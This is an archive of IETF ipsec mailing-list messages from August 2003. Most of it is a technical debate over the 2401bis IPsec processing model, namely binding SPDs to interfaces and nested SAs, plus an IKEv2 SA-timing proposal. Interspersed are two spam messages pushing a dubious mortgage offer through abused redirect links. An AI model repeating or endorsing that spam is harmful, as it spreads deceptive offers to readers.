From owner-ipsec@lists.tislabs.com Fri Aug 1 08:50:34 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h71FoXqt007575; Fri, 1 Aug 2003 08:50:34 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA22360 Fri, 1 Aug 2003 11:06:17 -0400 (EDT) Message-Id: <5.2.0.9.0.20030801095032.01ffc870@email> X-Sender: mduffy@email X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Fri, 01 Aug 2003 10:29:31 -0400 To: Stephen Kent From: Mark Duffy Subject: Re: revised IPsec processing model Cc: ipsec@lists.tislabs.com In-Reply-To: References: <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030731120622.02631138@email> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 03:22 PM 7/31/2003 -0400, Stephen Kent wrote: >Mark, > >I've trimmed the message to keep it readable, since I think we agree on >the facts, just not what to do as a result :-). > >So we agree that there is a way to achieve source-based SPD selection, and >to provide independent forwarding, but you don't think the mechanism is >not elegant. Well of course a device can select an SPD in any way it wants; the issue here is about whether the IPsec standard sanctions it or not. With the proposed model of 2401bis it might be debatable whether certain behaviors comply, as it would depend on how liberal one is in defining "interface" and "forwarding function". If 2401bis makes it clear that these terms may be widely construed, then I agree that the proposed model is flexible enough at least for the devices I am envisioning. > If I understand your suggestion, though, you would remove all > specification of this functionality, and I don't think we have a useful > spec if we do that. Did I misunderstand what you were suggesting here? I think maybe you did. My suggestion in a nutshell is not to remove specification but to modify it thus: 1. Say that the SPD is selected by an "SPD selection function" rather than by a "forwarding function". If we are considering that the "forwarding function" may be arbitrary anyway, this wording change seems to me to be no more than being honest with ourselves. 2. Explicitly recognize that the forwarding function that chooses an outgoing IP interface (i.e. for bypassed packets and for packets that have just been encrypted or just been decrypted) need not be the same function as the SPD selection function. The important *results* of those two points are that: outgoing packets A and B may be treated under different SPDs but be sent out the same IP interface, and outbound packets C and D may be treated under the same SPD but be sent out different interfaces. (And similarly for inbound packets.) >I agree that one could manage to configure SPDs so that nested SA could >result. But, it's probably hard for most folks to do this, and without >explicit, support in IKE, if this fails the results will be hard to >diagnose. Also, because one would have to effect two IKE negotiations to >create both sets of SAs, there are timing issues that could arise that >also would result in possibly confusing behavior. > >It's easy to have 2401bis not say that nesting of SAs is prohibited. It's >harder to say that that nesting MUST or MAY be supported, and how. What do >you think should be said here? My concern, in part, is that if we say >nothing, then users don't know what to expect re functionality, nor do >they have any sense of whether two implementations by two different >vendors will support this sort of nesting. That's not a good thing for a >standard. I would propose to say nothing about the nesting of SAs. I agree with you that the standard must be clear on how implementations behave, but I think the issue here is one level above the IPsec protocol itself, dealing instead with multiple applications of the protocol. Consider placing 2 security gateways in "series" so that the AH or ESP packets emitted by the first are considered as plaintext or subscriber packets by the second, and nested into another SA. Each SG is just doing a vanilla thing but the network administrator has created nested SAs. What difference should it make to the standard whether someone combines both those SGs into one device? --Mark >Steve From owner-ipsec@lists.tislabs.com Fri Aug 1 08:56:32 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h71FuWqt007876; Fri, 1 Aug 2003 08:56:32 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA22395 Fri, 1 Aug 2003 11:16:10 -0400 (EDT) Message-Id: <5.2.0.9.0.20030801103014.01ffe018@email> X-Sender: mduffy@email X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Fri, 01 Aug 2003 11:20:45 -0400 To: "Scott G. Kelly" From: Mark Duffy Subject: Re: revised IPsec processing model Cc: Stephen Kent , ipsec@lists.tislabs.com In-Reply-To: <3F2999BF.3020309@airespace.com> References: <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030731120622.02631138@email> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi Scott, What you describe below is by my understanding the model not only of Steve's 2401bis proposal but also the (arguably more limiting) model of rfc 2401. And yes, I think it does not permit the processing required for my example. In the 2401 model, the SPD associated with an interface controls IPsec on that interface as follows: It specifies whether outgoing packets SENT out that interface should be dropped, bypassed, or have IPsec applied, and whether incoming packets RECEIVED on that interface should be dropped, bypassed, or must have arrived with IPsec protection. My example requires that this be turned inside-out in a sense. To make the example work, the SPD associated with one of the LAN (aka subscriber) interfaces controls whether incoming packets RECEIVED on that interface should be dropped, bypassed, or have IPsec applied, and whether outgoing packets SENT out that interface should be dropped, bypassed, or must have arrived into the device with IPsec protection. Again, this was only an example device. The larger point was to demonstrate the generalizing the model to make SPD selection *independent* of forwarding decision (i.e. independent of exit interface) enables applications of IPsec that are not otherwise possible. Another example that was made earlier in this thread was the case where an SPD should apply to a set of interfaces. Since you have supplied such a nice picture, I'll attempt to edit it to represent what I am advocating: +----------------------------+ +---------------------+ | SPD selection +-------+ | | packet forwarding | | module | SPD a | | | (routing) module | | +-------+ | | | | |-->----------> | | / +-------+ | | \ | | -->-----> | SPD b | | | \ | | / +-------+ | | \ | +-----/----------------------+ +------------\--------+ / \ incoming / \ outgoing packet / | packet +----------------+ +----------------+ +-----V----------+ | Interface 0 | | Interface 1 | | Interface n | +----------------+ +----------------+ +----------------+ ^ _______/ incoming packet --Thanks, Mark At 03:35 PM 7/31/2003 -0700, Scott G. Kelly wrote: [snip] >Mark Duffy wrote: >| It is the "used both for..." part of that that I am resisting. >| >| My opinion is that the proposed forwarding function and virtual >| interface concepts are helpful, but do not go far enough in generalizing >| the IPsec model. What I would hope to see 2401bis embrace is a model >| where packets enter an IPsec device, some device-specific logic selects >| an SPD to apply, and then the IPsec and bypassed packets are forwarded >| out an interface chosen by some separate device-specific logic, for >| example IP longest matching prefix forwarding. >| >| Let me give an example of a hypothetical yet reasonable device that is >| not readily accomodated by the 2401bis model as proposed. Suppose we >| have a security gateway sort of device that has 3 LAN interfaces that it >| is protecting i.e. "protected networks" and 2 WAN interfaces to the >| Internet i.e. "uplinks." Plaintext packets are sent and received on the >| protected network interfaces, and a mix of plaintext and IPsec packets >| are sent and received on the uplinks. Suppose that a separate SPD is to >| be used for each protected network interface. Consider the case of >| packets arriving from the protected network interfaces. The SPD to be >| applied needs to be selected based on the interface the packet srrived >| _from_, not the interface the packet (either bypassed, or encapsulated >| in IPsec) will be forwarded _to_. > >Steve can correct me if I've misinterpreted the model, but what you are >saying here doesn't square with my understanding of the model. Here is >how I understand it (and have implemented it in a previous life): > >~ +-----------------+ >~ | packet from an | >~ | application | >~ +-------+---------+ >~ | outgoing >~ V packet >~ +----------------------------------------------+ >~ | packet forwarding (routing) module | >~ | >~ | +-->----->------+ >~ +-/-----------------\---------------------------+ >~ incoming / \ outgoing >~ packet / | packet >~ +----------------+ +----V-----------+ +----------------+ >~ | Interface 0 | | Interface 1 | | Interface n | >~ | +-------+ | | +-------+ | | +-------+ | >~ | | SPD 0 | | | | SPD 1 | | ... | | SPD n | | >~ | +-------+ | | +-------+ | | +-------+ | >~ +----------------+ +----------------+ +----------------+ >~ ^ >_______/ >incoming >packet1 > > >Note that these interfaces may be physical *or* logical. In this model, >packets coming in from the network are first evaluated according to the >policies of the ingress interface. Assuming the packet is allowed to >continue (i.e. it is not discarded), the next step is to perform a >forwarding lookup. If the packet is locally destined, it will be passed >up to the appropriate internal consumer. If not, the egress interface >must be determined according to the forwarding lookup (which will be >longest prefix match), and then the policy of the egress interface will >be examined to determine what to do next. In the case of internally >generated (outbound) packets, the local application hands them to the >stack, which first does a forwarding lookup to determine the egress >interface, and then the policies of that interface are applied. > >Why doesn't this model permit the processing you want? > >Scott From owner-ipsec@lists.tislabs.com Fri Aug 1 09:13:17 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h71GDGqt008535; Fri, 1 Aug 2003 09:13:17 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA22518 Fri, 1 Aug 2003 11:34:31 -0400 (EDT) Message-ID: <3F2A89D7.20709@airespace.com> Date: Fri, 01 Aug 2003 08:40:07 -0700 From: "Scott G. Kelly" Organization: Airespace User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Duffy CC: Stephen Kent , ipsec@lists.tislabs.com Subject: Re: revised IPsec processing model References: <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030801103014.01ffe018@email> X-Enigmail-Version: 0.75.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 01 Aug 2003 15:41:17.0086 (UTC) FILETIME=[58B5ABE0:01C35843] Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi Mark, I'm doing my best to try to understand, but email is a difficult medium for conveying complex ideas, so please bear with me while I try to sort this out. Given the following picture ~ +---------------+ ~ | | +------+ ~ [host a]------|[if0] [if1]|_____________| | ~ | | | |_____________| SGW2 |---[host b] ~ |[spd0] [spd1]| tunnel | | ~ +---------------+ +------+ I think you're saying that you want the policy rule causing traffic from host a to host b to be tunneled to live in spd0 instead of spd1. Is this right? Scott -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org iD8DBQE/KonXMtIdhO0pgN4RAnA/AJ4iDlbPPLEHVCl5WFfyfzSfKV1TfgCfQ6IF Pf/TcgOJIZbCPNGciio093E= =g14L -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Fri Aug 1 12:11:52 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h71JBpqt017958; Fri, 1 Aug 2003 12:11:52 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA23497 Fri, 1 Aug 2003 14:27:47 -0400 (EDT) Message-Id: <200308011523.LAA26422@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-ui-suites-03.txt Date: Fri, 01 Aug 2003 11:23:54 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Cryptographic Suites for IPsec Author(s) : P. Hoffman Filename : draft-ietf-ipsec-ui-suites-03.txt Pages : 5 Date : 2003-7-31 The IPsec, IKE, and IKEv2 protocols rely on security algorithms to provide privacy and authentication between the initiator and responder. There are many such algorithms available, and two IPsec systems cannot interoperate unless they are using the same algorithms. This document specifies optional suites of algorithms and attributes that can be used to simplify the administration of IPsec when used in manual keying mode, with IKE version 1, or with IKEv2. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ui-suites-03.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ui-suites-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ui-suites-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-8-1114301.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-ui-suites-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipsec-ui-suites-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-8-1114301.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Fri Aug 1 13:16:25 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h71KGOqt023710; Fri, 1 Aug 2003 13:16:25 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id PAA23727 Fri, 1 Aug 2003 15:30:14 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com Subject: Proposed resolution to Issue 1 To: ipsec@lists.tislabs.com X-Mailer: Lotus Notes Build V601_12032002NP December 03, 2002 Message-ID: Date: Fri, 1 Aug 2003 15:10:31 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/01/2003 03:35:45 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk (apologies if this is a duplicate. I sent this two days ago and it never came back to me from the list). --Charlie Issue 1 notes that it is not clear when a newly created SA can be used. I propose adding the following text to the end of Section 2.8: There are timing windows - particularly in the presence of lost packets - where endpoints may not agree on the state of an SA. The responder to a CREATE_CHILD_SA MUST be prepared to accept messages on an SA before sending its response to the creation request, so there is no ambiguity for the initiator. The initiator may begin sending on an SA as soon as it processes the response. The initiator, however, cannot receive on a newly created SA until it receives and processes the response to its CREATE_CHILD_SA request. How, then, is the responder to know when it is OK to send on the newly created SA? .sp >From a technical correctness and interoperability perspective, the responder MAY begin sending on an SA as soon as it sends its response to the CREATE_CHILD_SA request. In some situations, however, this could result in packets unnecessarily being dropped, so an implementation MAY want to defer such sending. .sp The responder can be assured that the initiator is prepared to receive messages on an SA if either (1) it has received a cryptographically valid message on the new SA, or (2) the new SA rekeys an existing SA and it receives an IKE request to close the replaced SA. When rekeying an SA, the responder SHOULD continue to send requests on the old SA until it one of those events occurs. When establishing a new SA, the responder MAY defer sending messages on a new SA until either it receives one or a timeout has occurred. If an initiator receives a message on an SA for which it has not received a response to its CREATE_CHILD_SA request, it SHOULD interpret that as a likely packet loss and retransmit the CREATE_CHILD_SA request. An initiator MAY send a dummy message on a newly created SA if it has no messages queued in order to assure the responder that the initiator is ready to receive messages. From owner-ipsec@lists.tislabs.com Fri Aug 1 14:29:45 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h71LTjqt027288; Fri, 1 Aug 2003 14:29:45 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA24117 Fri, 1 Aug 2003 16:43:05 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <5.2.0.9.0.20030801095032.01ffc870@email> References: <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030801095032.01ffc870@email> Date: Fri, 1 Aug 2003 16:49:58 -0400 To: Mark Duffy From: Stephen Kent Subject: Re: revised IPsec processing model Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 10:29 -0400 8/1/03, Mark Duffy wrote: >At 03:22 PM 7/31/2003 -0400, Stephen Kent wrote: >>Mark, >> >>I've trimmed the message to keep it readable, since I think we >>agree on the facts, just not what to do as a result :-). >> >>So we agree that there is a way to achieve source-based SPD >>selection, and to provide independent forwarding, but you don't >>think the mechanism is not elegant. > >Well of course a device can select an SPD in any way it wants; the >issue here is about whether the IPsec standard sanctions it or not. >With the proposed model of 2401bis it might be debatable whether >certain behaviors comply, as it would depend on how liberal one is >in defining "interface" and "forwarding function". If 2401bis makes >it clear that these terms may be widely construed, then I agree that >the proposed model is flexible enough at least for the devices I am >envisioning. I agree that we should make sure the text does not convey the wrong impression. >> If I understand your suggestion, though, you would remove all >>specification of this functionality, and I don't think we have a >>useful spec if we do that. Did I misunderstand what you were >>suggesting here? > >I think maybe you did. My suggestion in a nutshell is not to remove >specification but to modify it thus: > > 1. Say that the SPD is selected by an "SPD selection function" >rather than by a "forwarding function". If we are considering that >the "forwarding function" may be arbitrary anyway, this wording >change seems to me to be no more than being honest with ourselves. the reason for adding the lookup was to provide a forwarding function, i.e., selection of the output interface for the simple case, or the next (virtual) interface in fancier cases. So I do not think it appropriate to consider renaming the function to say that it is for SPD lookup. The SPD is selected because it is bound to an interface not the other way around. > 2. Explicitly recognize that the forwarding function that chooses >an outgoing IP interface (i.e. for bypassed packets and for packets >that have just been encrypted or just been decrypted) need not be >the same function as the SPD selection function. As I said above, the whole point of the lookup was to select the interface, and the SPD has always been bound to an interface. I'm not sure why you want to reverse the meaning here. >The important *results* of those two points are that: outgoing >packets A and B may be treated under different SPDs but be sent out >the same IP interface, and outbound packets C and D may be treated >under the same SPD but be sent out different interfaces. (And >similarly for inbound packets.) yes, the can be sent to the same interface, after IPsec processing, using the second lookup. >>I agree that one could manage to configure SPDs so that nested SA >>could result. But, it's probably hard for most folks to do this, >>and without explicit, support in IKE, if this fails the results >>will be hard to diagnose. Also, because one would have to effect >>two IKE negotiations to create both sets of SAs, there are timing >>issues that could arise that also would result in possibly >>confusing behavior. >> >>It's easy to have 2401bis not say that nesting of SAs is >>prohibited. It's harder to say that that nesting MUST or MAY be >>supported, and how. What do you think should be said here? My >>concern, in part, is that if we say nothing, then users don't know >>what to expect re functionality, nor do they have any sense of >>whether two implementations by two different vendors will support >>this sort of nesting. That's not a good thing for a standard. > >I would propose to say nothing about the nesting of SAs. I agree >with you that the standard must be clear on how implementations >behave, but I think the issue here is one level above the IPsec >protocol itself, dealing instead with multiple applications of the >protocol. Consider placing 2 security gateways in "series" so that >the AH or ESP packets emitted by the first are considered as >plaintext or subscriber packets by the second, and nested into >another SA. Each SG is just doing a vanilla thing but the network >administrator has created nested SAs. What difference should it >make to the standard whether someone combines both those SGs into >one device? The difference arises at the device where the two SAs must be coordinated, else inbound packets drop on the floor, or outbound packets fail to be protected as desired. I can be persuaded that we ought to say nothing about requiring support for nesting, but since we used to mandate such support, we cannot just be silent on the issue. Also, since I think a good standard lets users know what they can and cannot expect to achieve when communicating between implementations produced by different vendors, what do you propose that we say in this context? Steve From owner-ipsec@lists.tislabs.com Fri Aug 1 15:08:48 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h71M8mqt028626; Fri, 1 Aug 2003 15:08:48 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA24387 Fri, 1 Aug 2003 17:29:04 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F2999BF.3020309@airespace.com> References: <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030731120622.02631138@email> <3F2999BF.3020309@airespace.com> Date: Fri, 1 Aug 2003 17:33:21 -0400 To: "Scott G. Kelly" From: Stephen Kent Subject: Re: revised IPsec processing model Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Scott, Thanks for trying to construct the diagram. It's something I need to do for the ID, but have not done yet. There are some enhancements I would make to the diagram. Outbound 1. for outbound traffic *from the application or the protected net) the interface lookup (forwarding function) is the first step 2. then the packet goes to the SPD cache for the selected interface 3.after processing (bypass or IPsec), there is a second lookup, to allow for looping, or for folks like Mark who want to separate SPD selection from the output (or next) interface selection 4. either the packet exits now, or it goes back for another pass Inbound 1. demux traffic into one of 3 classes: IKE, IPsec (AH/ESP) AND addressed to this device, or NOT AH/ESP 2a. if IKE, then vector to the IKE processor 2b. if AH/ESP and for us, then lookup in the SAD (only one per implementation) and process accordingly 2c. if not AH/ESP for us, or just not for us, then lookup in inbound bypass cache 3. for the 2b case, after AH/ESP processing, the inbound SPD check is done based on SAD data, not a lookup in the SPD. then, for those internal looping fans, one can add yet another lookup to decide what interface this is delivered to, e.g., the application, the protected LAN, or back to step 1. Steve From bcompassr@juno.com Sat Aug 2 00:34:51 2003 Received: from a1 ([61.98.186.25]) by above.proper.com (8.12.9/8.12.8) with SMTP id h727Ynqt066825 for ; Sat, 2 Aug 2003 00:34:50 -0700 (PDT) (envelope-from bcompassr@juno.com) Message-Id: <200308020734.h727Ynqt066825@above.proper.com> From: bcompassr@juno.com To: ietf-ipsec@imc.org Subject: Re: H Sender: bcompassr@juno.com Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Sat, 2 Aug 2003 16:34:52 +0900 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) hey its me again.. did you see this site? Only the banks know about this great offer, now you can too! I hope your ready for lower mortgage repayments! http://btrack.iwon.com/r.pl?redir=http://432423@buynow3sx.com/viewso65/index.asp?RefID=198478 From brose2@juno.com Sat Aug 2 00:51:19 2003 Received: from drmbark (run-2007@[211.243.118.83]) by above.proper.com (8.12.9/8.12.8) with SMTP id h727pHqt068389 for ; Sat, 2 Aug 2003 00:51:18 -0700 (PDT) (envelope-from brose2@juno.com) Message-Id: <200308020751.h727pHqt068389@above.proper.com> From: brose2@juno.com To: ietf-ipsec@imc.org Subject: man Sender: brose2@juno.com Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Sat, 2 Aug 2003 16:51:55 +0900 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) hmm, okay so you want to save some money. take a look.. Only the banks know about this great offer, now you can too! I hope your ready for lower mortgage repayments! http://r.aol.com/cgi/redir-complex?url=http://lowinterest@buynow3sx.com/viewso65/index.asp?RefID=198478 From owner-ipsec@lists.tislabs.com Sat Aug 2 12:35:43 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h72JZhqt029326; Sat, 2 Aug 2003 12:35:43 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA28315 Sat, 2 Aug 2003 14:51:14 -0400 (EDT) Message-Id: <5.2.0.9.0.20030802142744.01e64f08@localhost> X-Sender: mduffy@localhost X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Sat, 02 Aug 2003 14:31:17 -0400 To: "Scott G. Kelly" From: Mark Duffy Subject: Re: revised IPsec processing model Cc: Stephen Kent , ipsec@lists.tislabs.com In-Reply-To: <3F2A89D7.20709@airespace.com> References: <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030801103014.01ffe018@email> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Yes Scott, that is exactly right. But again, this was just an example of one situation where one would want to decouple the choice of SPD from the choice of exit interface. --Mark At 08:40 AM 8/1/2003 -0700, Scott G. Kelly wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >Hi Mark, > >I'm doing my best to try to understand, but email is a difficult medium >for conveying complex ideas, so please bear with me while I try to sort >this out. Given the following picture > >~ +---------------+ >~ | | +------+ >~ [host a]------|[if0] [if1]|_____________| | >~ | | | |_____________| SGW2 |---[host b] >~ |[spd0] [spd1]| tunnel | | >~ +---------------+ +------+ > >I think you're saying that you want the policy rule causing traffic >from host a to host b to be tunneled to live in spd0 instead of spd1. Is >this right? > >Scott From owner-ipsec@lists.tislabs.com Sat Aug 2 12:36:34 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h72JaXqt029351; Sat, 2 Aug 2003 12:36:34 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA28314 Sat, 2 Aug 2003 14:51:14 -0400 (EDT) Message-Id: <5.2.0.9.0.20030802143907.01e64b18@localhost> X-Sender: mduffy@localhost X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Sat, 02 Aug 2003 14:55:54 -0400 To: Stephen Kent From: Mark Duffy Subject: Re: revised IPsec processing model Cc: ipsec@lists.tislabs.com In-Reply-To: References: <5.2.0.9.0.20030801095032.01ffc870@email> <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030801095032.01ffc870@email> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 04:49 PM 8/1/2003 -0400, Stephen Kent wrote: [snip] >>> If I understand your suggestion, though, you would remove all >>> specification of this functionality, and I don't think we have a useful >>> spec if we do that. Did I misunderstand what you were suggesting here? >> >>I think maybe you did. My suggestion in a nutshell is not to remove >>specification but to modify it thus: >> >> 1. Say that the SPD is selected by an "SPD selection function" rather >> than by a "forwarding function". If we are considering that the >> "forwarding function" may be arbitrary anyway, this wording change seems >> to me to be no more than being honest with ourselves. > >the reason for adding the lookup was to provide a forwarding function, >i.e., selection of the output interface for the simple case, or the next >(virtual) interface in fancier cases. So I do not think it appropriate to >consider renaming the function to say that it is for SPD lookup. The SPD >is selected because it is bound to an interface not the other way around. > > >> 2. Explicitly recognize that the forwarding function that chooses an >> outgoing IP interface (i.e. for bypassed packets and for packets that >> have just been encrypted or just been decrypted) need not be the same >> function as the SPD selection function. > >As I said above, the whole point of the lookup was to select the >interface, and the SPD has always been bound to an interface. I'm not sure >why you want to reverse the meaning here. Yes the SPD has always been bound to an interface, but that doesn't mean it must always be so, and the model would be more flexible if it were not so required. However, maybe this is just too big a change to ask. [snip] >>>I agree that one could manage to configure SPDs so that nested SA could >>>result. But, it's probably hard for most folks to do this, and without >>>explicit, support in IKE, if this fails the results will be hard to >>>diagnose. Also, because one would have to effect two IKE negotiations to >>>create both sets of SAs, there are timing issues that could arise that >>>also would result in possibly confusing behavior. >>> >>>It's easy to have 2401bis not say that nesting of SAs is prohibited. >>>It's harder to say that that nesting MUST or MAY be supported, and how. >>>What do you think should be said here? My concern, in part, is that if >>>we say nothing, then users don't know what to expect re functionality, >>>nor do they have any sense of whether two implementations by two >>>different vendors will support this sort of nesting. That's not a good >>>thing for a standard. >> >>I would propose to say nothing about the nesting of SAs. I agree with >>you that the standard must be clear on how implementations behave, but I >>think the issue here is one level above the IPsec protocol itself, >>dealing instead with multiple applications of the protocol. Consider >>placing 2 security gateways in "series" so that the AH or ESP packets >>emitted by the first are considered as plaintext or subscriber packets by >>the second, and nested into another SA. Each SG is just doing a vanilla >>thing but the network administrator has created nested SAs. What >>difference should it make to the standard whether someone combines both >>those SGs into one device? > >The difference arises at the device where the two SAs must be coordinated, >else inbound packets drop on the floor, or outbound packets fail to be >protected as desired. I can be persuaded that we ought to say nothing >about requiring support for nesting, but since we used to mandate such >support, we cannot just be silent on the issue. Also, since I think a good >standard lets users know what they can and cannot expect to achieve when >communicating between implementations produced by different vendors, what >do you propose that we say in this context? No matter what the standard says, it will be possible for someone to apply the standard twice, or n times, in succession to a packet and the probability approaches 1 that someone will do so. I'd propose that the standard should say that the requirement to support nesting (as it existed in 2401) has been removed. And I would just stop there. If folks really feel it is necessary to say more, I would add a statement acknowledging that it is possible to apply the standard iteratively to a given packet and that this will have the effect of "nesting" SAs. --Mark From bjosh_97@email.com Sun Aug 3 05:03:31 2003 Received: from pos-server (h130-210-243-149.seed.net.tw [210.243.149.130] (may be forged)) by above.proper.com (8.12.9/8.12.8) with SMTP id h73C3Uqt097322 for ; Sun, 3 Aug 2003 05:03:31 -0700 (PDT) (envelope-from bjosh_97@email.com) Message-Id: <200308031203.h73C3Uqt097322@above.proper.com> From: bjosh_97@email.com To: ietf-ipsec@imc.org Subject: damn Sender: bjosh_97@email.com Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" 